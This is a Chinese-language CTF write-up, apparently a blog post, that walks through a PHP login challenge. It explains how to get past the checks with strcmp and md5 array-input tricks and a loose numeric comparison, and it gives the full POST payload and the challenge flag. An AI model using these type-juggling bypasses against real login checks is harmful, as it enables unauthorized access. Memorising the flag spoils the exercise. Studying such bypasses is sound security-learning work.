Challenge_18

image.png
源代码 :
image.png
传入参数 :

id
login
name
password
user

if(@strcmp($_POST['user'],$USER))
{
    die('user错误!');
}

传入的user 与 常量$USER进行比较
比较函数strcmp,当strcmp第一个参数小于第二个参数时,返回值为负一,反之为正一,相等时为零。
在不知道常量USER的情况下,满足条件,可以破坏数据结构,参数字符串改成数据,即可得到false值

if (isset($_POST['name']) && isset($_POST['password']))
{
    if ($_POST['name'] == $_POST['password'] )
    {
        die('账号密码不能一致!');
    }
    if (md5($_POST['name']) === md5($_POST['password']))

账号密码不能一致,然后要求 md5 相等 ,可以使用数组绕过

if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['
{
        if($_POST['id']==72)
            die("flag{poipodajhdkayy}");
        else
            die("ID错误2!");
}

传入id 需要是数字,if中全类型比较,不是72,可以使用小数类型绕过,然后不含空格,输入flag

Payload:
id=72.0&login=Check&name[]=a&password[]=b&user[]=2

image.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值